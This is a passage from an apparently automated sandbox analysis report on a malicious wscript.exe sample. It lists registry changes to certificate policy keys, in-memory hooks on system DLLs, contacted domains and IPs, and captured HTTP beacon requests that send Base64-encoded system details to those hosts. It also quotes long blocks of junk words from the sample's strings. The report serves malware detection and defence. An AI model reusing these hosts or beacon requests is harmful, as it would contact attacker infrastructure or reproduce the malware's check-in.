  "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1012 (Show technique in the MITRE ATT&CK™ matrix)
- Accesses System Certificates Settings
  
  details
  
  "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "")
  "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "")
  "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1112 (Show technique in the MITRE ATT&CK™ matrix)
- Contacts domains
  
  details
  
  "stickit.ae"
  "suaritmaservisi.co"
  "worldplaces.in"
  "t.unplugrevolution.com"
  
  source
  
  Network Traffic
  
  relevance
  
  1/10
- Contacts server
  
  details
  
  "66.198.240.35:80"
  "77.75.34.175:80"
  "77.75.34.175:443"
  "43.252.88.207:80"
  "160.153.73.137:80"
  
  source
  
  Network Traffic
  
  relevance
  
  1/10
- Loads the .NET runtime environment
  
  details
  
  "wscript.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll" at 6D400000
  
  source
  
  Loaded Module
- Overview of unique CLSIDs touched in registry
  
  details
  
  "wscript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}")
  "wscript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}")
  "wscript.exe" touched "XML DOM Document 3.0" (Path: "HKCR\SOFTWARE\CLASSES\CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}")
  "wscript.exe" touched "ADODB.Stream" (Path: "HKCU\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}\TREATAS")
  "wscript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS")
  "wscript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS")
  "wscript.exe" touched "Server XML HTTP 6.0" (Path: "HKCU\CLSID\{88D96A0B-F192-11D4-A65F-0040963251E5}\TREATAS")
  "wscript.exe" touched "WinHttpRequest Component version 5.1" (Path: "HKCU\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\TREATAS")
  "wscript.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS")
  "wscript.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS")
  "wscript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS")
  "wscript.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS")
  "wscript.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS")
  "wscript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS")
  "wscript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS")
  "wscript.exe" touched "System.Text.UnicodeEncoding" (Path: "HKCU\CLSID\{A0F5F5DC-337B-38D7-B1A3-FB1B95666BBF}\TREATAS")
  "wscript.exe" touched "XML DOM Document" (Path: "HKCU\CLSID\{2933BF90-7B36-11D2-B20E-00C04F983E60}\TREATAS")
  "wscript.exe" touched "Microsoft OLE DB Error Collection Service" (Path: "HKCU\CLSID\{C8B522CF-5CF3-11CE-ADE5-00AA0044773D}\TREATAS")
  "wscript.exe" touched "ADO 6.0" (Path: "HKCU\CLSID\{0000051A-0000-0010-8000-00AA006D2EA4}\EXTENDEDERRORS")
  "wscript.exe" touched "ADODB Error Lookup Service" (Path: "HKCU\CLSID\{00000542-0000-0010-8000-00AA006D2EA4}\TREATAS")
  
  source
  
  Registry Access
  
  relevance
  
  3/10
Installation/Persistance
- Touches files in the Windows directory
  
  details
  
  "wscript.exe" touched file "%WINDIR%\System32\en-US\wscript.exe.mui"
  "wscript.exe" touched file "C:\Windows\System32\rsaenh.dll"
  "wscript.exe" touched file "C:\Windows\System32\wscript.exe"
  "wscript.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
  "wscript.exe" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui"
  "wscript.exe" touched file "C:\Windows\System32\msxml3r.dll"
  "wscript.exe" touched file "C:\Windows\System32\wshom.ocx"
  "wscript.exe" touched file "C:\Windows\System32\msxml6r.dll"
  "wscript.exe" touched file "C:\Windows\System32\wbem\wbemdisp.tlb"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config"
  "wscript.exe" touched file "C:\Windows\System32\WScript.exe.config"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch"
  "wscript.exe" touched file "C:\Windows\assembly\NativeImages_v2.0.50727_32\index357.dat"
  "wscript.exe" touched file "C:\Windows\System32\l_intl.nls"
  "wscript.exe" touched file "C:\Windows\System32\stdole2.tlb"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll"
  
  source
  
  API Call
  
  relevance
  
  7/10
Network Related
- Found potential URL in binary/memory
  
  details
  
  Heuristic match: "stickit.ae"
  Heuristic match: "GET /direct/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
  Connection: Keep-Alive
  Accept: */*
  Accept-Language: en-us
  User-Agent: Victoria
  Host: stickit.ae"
  Heuristic match: "suaritmaservisi.co"
  Heuristic match: "GET /direct/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
  Connection: Keep-Alive
  Accept: */*
  Accept-Language: en-us
  User-Agent: Victoria
  Host: suaritmaservisi.co"
  Heuristic match: "worldplaces.in"
  Heuristic match: "GET /direct/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
  Connection: Keep-Alive
  Accept: */*
  Accept-Language: en-us
  User-Agent: Victoria
  Host: worldplaces.in"
  Heuristic match: "t.unplugrevolution.com"
  Heuristic match: "GET /articles/18928/2910.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
  Connection: Keep-Alive
  Accept: */*
  Accept-Language: en-us
  User-Agent: Victoria
  Host: t.unplugrevolution.com"
  Pattern match: "https://suaritmaservisi.co/wp-json/"
  
  source
  
  String
  
  relevance
  
  10/10
- HTTP request contains Base64 encoded artifacts
  
  details
  
  "Microsoft Windows 7 Professional "
  
  source
  
  Network Traffic
  
  relevance
  
  7/10
  
  ATT&CK ID
  
  T1132 (Show technique in the MITRE ATT&CK™ matrix)
Spyware/Information Retrieval
- Found a reference to a known community page
  
  details
  
  "e overneglectfully prelude quickwork torchere nondirigibility fibrinose aniso- preponderate squark toolrooms Nordrhein-Westfalen fastgoing Embiidina visuals gallerylike hinge Fosdick bewailer chelae Peers civy approachability bequests self-expanding guaiaretic estrone redistributor Pokomam declassicize nonimaginational insimulate thiefland micrograver creedalism cloisterwise vicua synrhabdosome wicked-looking overconfidently Anglomaniacal supertranscendent twittered multure unscavengered druidry hoarsens monostelic octonare Dhruv abrood nationwide Schizaea quasi-blindly microscope reinvents ginmill quinsies co-oblige Cairene Weberian rhumbs cloured meinie eulogical Omland Laloma drink-hail freebootery irradicated slip-rail euhyostyly counterdance physicochemical espousement casterless Apomyius unlibeled Honaker amberjack Sneads Pseudo-mongolian bleeds infertility solutionis hushpuppy radiophotograph gaseliers reorganiser four-dollar bibliothecaire nonunited scialytic overprotect nonbulbaceous frim scenary vin" (Indicator: "twitter")
  "lastoporal unmulish photosurveying chinol sauriasis chastise sea-lost paraplastin tweezing quasher oolemma mannoses azotemias cistuses morphinomania Alaria isopleth bucktails Onego superfarm septenarii theatrics gynecocentric shackled aparavidya pink-ribbed labrys oecological mythopoeist cock-nest Trans-caspian multifidous dreamtide Myxogastres gabbier unkinks chaffweed substitutionary loessic melituria roastingly Binger begulfs antapexes fluxing Charie Wilson neif Sprung pruriently colorifics timaua rattlewort sulfobenzide unhued subinitial Manitowoc aragonite uncreation amusette croquets erical quasi-organic jingle unlocalising savagism ethylidene outwitter Lolo muring pileups Hurlee steel-rimmed recarbonation redeemless multipath gesture fict tonsilitic encircled sulphocarbolic waitressless Diebold cornerstones moutoneed poebird unembarassed alabastrons tectrices brain-spun Huxford nokta Deadwood woodchucks libidinized squirmiest Aldwin cricotomy rumswizzle reconverts stemhead unfairnesses peroxidation Sor" (Indicator: "twitter")
  "ly Jone ediface impartive fingerwise repromulgated overornamental uncontoured Noblesville pitchwork pseudoservilely JBS Sphenodontidae Balearian Pseudo-serbian libidos spirivalve crambos compositeness Birkeniidae gynandromorphy southbound kidneys DPNPH ictic spermogonia unhabit guacamole upstares sabadin Montreux self-distrusting upboiling respirit malouah hide unstopple three-quarter pelvigraph trimerite sciomantic pinnacling quasi-unconsciously stimulative delectus Rhoadesville uric overdebate Kozani winers monophotal isometrical transdiurnal undecisiveness upsteal noncoincidentally four-wheel strabotomy bebled antimensium NNX Ashford axe-breaker silver-corded cathedral Basilio Harstad ideolect cantwise twitterer menotyphlic adolescing cawk tut-tutting diaglyphic good-tasting sich Kismayu effortless panspermist IPX polyclady Debi drop-off superemphasize reversibly Lamond rose-bright trictracs flatcaps putter-off compressibility setups hackbarrow homospory kinic wariness unsalvable unauthorization uninfiltra" (Indicator: "twitter")
  "sonant periprostatic iwflower magmatism self-fertile overinfluences massacring Waterville resistivity trusted quasi-good salaamed vagarity juddered reembodies kissability twenty-one deliberator sublustrously Delaroche stabbed self-differentiating kamacites mad-bred enhancements Nora Vermonter condign Kirven Halosaurus crate Russia perjuredly cathedrallike Frierson Lauderdale re-engagement convolutionary core- fiduciary six-o-six peritonitic accounter unstiffen litai leviathan otolithic ampoules wilkin windore giraffoid decidement petasuses sky-resembling obligately Dishley twitterboned subpastorship cosmetician backup pulpstone anti-hero Bitolj fireboy rebelong thick-wittedness speos Glaux Havelock wood-fringed erythrons trades gillot unbeatable panleukopenia pipperidge axotomous excrescential anticentralization pen-pusher wringer despiser oil-thickening backhoes Gati baw physicomental talkings thionine double-fronted due overorganizing asystematic emunge cookmaid disquisitionary unimitated whiner sharers eye" (Indicator: "twitter")
  "nstrategic reformism Hoodsport conform nonbrooding frousiest backberend anthomania accolent pummeled chronologizing Dracontium superiors sidecheck isallobaric Non-indo-european court-customary marfire cryptolunatic wished-for flatway hewn paludamenta Sarmatic H-hour losableness saccharomycetaceous swan-upping trainfuls consultant dy- pastrycook duchies RQSM Rauch alycompaine Coste-Floret wudge drostdy lavement shibuichi Sybaritical gouvernantes bow-string apocopation omphalorrhea whirlbone Nasca kreosote somniloquacious fumidity chalcanthite gassit Angerboda counterintelligence counterjumper spirit-stirring reconfusing red-streak Otogyps teleophyte blacked subsphenoidal motor Castledale oppidans illegalize knot-grass percoids Cassiope twitter fartherance divel miragy subequally nonfamily Rosemarie diffusing Izyum after-described moeurs subsection mashers toxaemias desecate diumvirate thapes twice-humbled subprograms panyar precompilation cockscombed chinamania Sadick Ghelderode autosymbolic loveday axillary q" (Indicator: "twitter")
  "ainesville tissue-destroying laggins skylarking cardiovisceral Tacoman ascribes kingdomed limewood daymark drizzles mininations endower gammock Shifrah trichromat thurification Sherlocke nimble-spirited Triconodonta dressoir Helmetta voltivity gizzern spodium Lhary handout Daune sleided forseek rastling Meleagridae leptospiral unwrinkled shams twitteringly juniorship direct-acting trainer-fighter McFall pseudomilitary carryings sliphouse ladlers superbity malic uncountable musseler dull-edged deselects Ibsen Chiapanec Nussbaum web-fingered unhumorously unheld autographic life-sustaining recuse contracyclical anorectic secundine revacate felspar sheepsplit Scala cheyneys gonotocont tellership tea-sodden phyllobranchial usant howlers pertinences ledgy Cumana semirotary barricadoes unextolled mannerhood petaly nondictionary predestinate Argeiphontes intracistern Guadeloupe superscandal peppershrike immunosuppressants annul nonmonetary assoluto aeronat Conroe Giacomuzzo Aglaonema cibaria acids admerveylle mycetog" (Indicator: "twitter")
  "tone conspiratorial hygiology outromance presbyopia atween Emilia unworriedness vase hexaphyllous sociologists Glenhead servitial roentgenographically recompound nonabsorption prepuce Mesosauria discant scape-bearing altos contributorship ice-hill repeatable perfumers theolatry piacaba Georgetta dodos nitrids ct. Kolacin playacting Tambuki anilinctus Mallory Hatia tap-dancing flotson Erasmianism doodskop paughty kameelthorn amiray nonspecialized unprocessed Elliot Page unfusibness cockchafer sniping twitter blue-pencil life-timer unfailable fifer reapplier schoolhouses Justa spiceable uninstanced zoodynamic ischioiliac shellhead aswough uncommonplace Winigan knuckle-bone declaratory refrigerium turn-key untenantableness urokinase polygrooved adead precoincidently cafardise outprays trigonometrically gnoses Darnell Erithacus metapophysial antilogarithmic Mallory Horsham lanes counter-lode spirea MPU unhumbly McClenaghan nonimportation certes prevents sequels Pennington overregulations frog-fish libant Firestee" (Indicator: "twitter")
  "trippist youthless zarf mishearing mesotropic millenaries twitteration urethragraph unborn unfinicalness outstolen Horta pot-lead Mamertine overmeasure OTLF pharyngoxerosis bulled cherry-red Duester woldsman privily fountainwise precolourable untimelier trinketed folly-stricken Pyongyang unviciousness Zetes episporium anarcho spermophytic leuch miscarried eavesdroppers Kosalan potstick half-armed prussianising Actiniomorpha recitable woodjobber elasticity confirmment Pearcy cementwork Chirlin blue-backed okras monumentless tangling ironer-up uppent plain-spokenly rhamninose strong-limbed boracous cyprinoidean fore-judge aproneer tribe groggeries redlined quasi-prosecuted motorise outmoded kegling palaeichthyan Pocasset tuneful Guienne Rhoetus quasi-pledge niduses robot-control Krasner Yankeedom buttercups Neille uphelm islanding laterization strome duskly paedomorphosis anticrochet tallowman ODonoghue incurrent drying edematose back-slapping overembellish dreamfulness stuntiness bacteriophage businessese sim" (Indicator: "twitter")
  "inemia hypoderma laterostigmatal arbitrator marchionesses unparticularising Guelf De-celticize mordaciously cyphonautes counterparadox maffler valval quasi-intolerantly Diegueno Trevino bantings stick-up Endamoeba batara seafare freightliner ex-enemy governail disheritor half-way ragees Putney allegrettos mono-ideism abhorred pastilles drafty pitirri bow-less itemized jimmyweed Courtney escallop Hildegaard wrong-directed oil-cooled zonations abbess pledget gangliglions Davina ruffmans shnooks trivializing hasenpfeffer Chesapeake Otolithus lovemaking unsolicitedly predecisive self-want proinquiry Kantism tritish vates discourseless specialisation hogans white-maned hypersuggestibly correspondencies rowings aglance twitters proud-blind macronutrient ephods Decameronic forwrap Incarial hypopyons Kim Vallecitos negating crocoisite pluses Botryomyces narcose Fakofo ferrado placekick fantastical accommodating excrementize Lech dashiki trf hurtles lignifies eager-seeming iliococcygeal rearrests dimethylbenzene tomb-" (Indicator: "twitter")
  "rl amygdalaceous noncontrastable startup rumly unprodigiously biracially subtree Sanhita wassailer phonodeik twitteration mullar universaliser superrespectable reimmigrant hard-favored invernacular outbreather Baden-Powell Rebekah reddens retrobulbar Oubangi Langsdorffia Trainor sloshier Banthine teapotful radioluminescence unindentured overtint dietetic Fidellia Talladega pig-haired Norristown whitewort nucleole maihems pink-flowered skirmish raglet conveniences coproprietors grander aftergo cotyliscus voar ox-foot Boxholm openmouthed Kalamazoo vernant snapps hemopoiesis Cristiona underdressing woodpeckers gentianwort temporizer maligns slubby rhexes overloudness pugilistic synartetic phenylcarbimide LSS subtrend Jeffersonianism goel pleuroperitoneum presensation cheveril biotas initiate Musset Helot yachtsman burnous beatification protore mercat Tecumseh tamponment thoroughgoing missteering prairies coauthority monasterially mitigates leasemen half-alike pneumopericardium escapingly Karachi distichously bri" (Indicator: "twitter")
  "talous latosols riskfulness conjunctive make-peace twice-claimed theocrat feteless unfinished incompactly Vashtee caskets fibber riper anklung Q-ship subsere steenboc slug-horn ungreeted sherd determinative platinotron Helvellaceae nullibility parries Weyanoke Elburn antimonarchically divorceable rest-home 'disalign anhydraemic excave torrent-bitten Sellers ideo-unit pyrrolidone typhlohepatitis blithers Jugurtha uncited world-describing refires nondemonstrativeness purpart shoehorn institorial AMORC electronically turnbout dancery Confederacy Sulaib cichlids xviii preassigning Tylostomaceae planetariums faradonervous instantial imprisonments straightwards enterostomy appalls Berit Lascaux self-levied prepersuaded difflation Wasukuma sclerophyllous neediness pricier Lorenza anadems misalleged hypermetaphoric typhlotomy overliberalized prealluded Ofallon sword-billed linguopalatal Mycosphaerellaceae twittery vaporizing polygamian bifolium askesis Melone centesimo sinneress outacts yardwork fontange preregnant g" (Indicator: "twitter")
  "ille kookeree blufter prerespire parellic opianyl sub-arch Villars Shadydale advocatess effeminacy far-reaching square-tailed unsalvably prefreshmen Plumville stretched gravity-fed oncost behove befoulment carceral Sihun housemaid queenroot bestrew Philistinian Paicines postboy orective nonmotile princesse toise heptachord conventicle Keos Tamarindus demasculinise attorneys contesters realigning unstepping Bukittinggi radios Tubatulabal governments doucely ethinyl contortionate Tunnell manit reformatively muddinesses heated constatation a-twitter blossomtime gestura unborne red-tipped headsail prerevising Pittism dextrogyratory saddle-sore Mainer upflowing jankers unretentive theosopher Boothe prince-abbot Cetonia Vidovic Zaglossus salty engorging Maysfield dropkick cocobolas Eurymedon adeem Geronimo fatiscent polycentrism dipetto bassinets Fultondale bromating Leyes night-eyed stoner fagotto cromaltite unmeasurably menorrhagia short-bobbed Rafter adenocarcinoma throats pressruns schoolfellow Dewain reperusin" (Indicator: "twitter")
  "Levins paraquet semi-industrially delassement bare-faced rabbithearted muckraker habutai dipleurogenetic speciates deprives freshet reunifying cabildo chrysorin photopitometer Doland paratyphoid enfolders eye-devouring micrographical unraisable drawoff cacophony yacht respecified perdiligence concealment decarburation designful prerevision purohit nondeceiving pedicellus thrashed chunkiest choreutic defraudment fast-dyed veratridin unkinged burgomastership anisogamy Cut neuroactive lungwort twitter tropospheric domn nuisances eagled reconcentrates Malacodermidae sheened proofreaders uncapriciousness coal-man Leucas Wendye Cerelia recompounding tyrosinase turtledoved nonaxiomatically Ribble vailing telar confirm Caph chatted Koorg Musigny acquisitive scombrid Meredith convicting grazeable xystus irrecognizable nontuned acacin agric zamindars Allport plumbicon crumming dermoids isobathythermal queechy larrikinism gunpowders slipperinesses cag-handed verdures bathymetry pianos replied misliker Subiaco Notorhynch" (Indicator: "twitter")
  
  source
  
  String
  
  relevance
  
  7/10
System Security
- Creates or modifies windows services
  
  details
  
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1112 (Show technique in the MITRE ATT&CK™ matrix)
- Modifies Software Policy Settings
  
  details
  
  "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA")
  "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES")
  "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS")
  "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS")
  "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED")
  "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES")
  "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS")
  "wscript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS")
  "wscript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1112 (Show technique in the MITRE ATT&CK™ matrix)
Unusual Characteristics
- Installs hooks/patches the running process
  
  details
  
  "wscript.exe" wrote bytes "c04e497720544a77e0654a77b5384b770000000000d0c67600000000c5eac6760000000088eac67600000000e9685b7582284b77ee294b7700000000d2695b75000000007dbbc6760000000009be5b7500000000ba18c67600000000" to virtual address "0x77601000" (part of module "NSI.DLL")
  "wscript.exe" wrote bytes "f8110000" to virtual address "0x751F12CC" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "48121f75" to virtual address "0x752083DC" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "b810152e70ffe0" to virtual address "0x751F11F8" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "48120000" to virtual address "0x751F139C" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "cab7015e" to virtual address "0x6DFA1FFC" (part of module "MSCORWKS.DLL")
  "wscript.exe" wrote bytes "f8110000" to virtual address "0x751F1408" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "68130000" to virtual address "0x77171680" (part of module "WS2_32.DLL")
  "wscript.exe" wrote bytes "a0112e70" to virtual address "0x70A44028" (part of module "WEBIO.DLL")
  "wscript.exe" wrote bytes "b890122e70ffe0" to virtual address "0x751F1248" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "48121f75" to virtual address "0x75208364" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "48120000" to virtual address "0x751F12DC" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "b880112e70ffe0" to virtual address "0x77171368" (part of module "WS2_32.DLL")
  "wscript.exe" wrote bytes "f8111f75" to virtual address "0x752083C4" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "f8111f75" to virtual address "0x7520834C" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "f8111f75" to virtual address "0x752083E0" (part of module "SSPICLI.DLL")
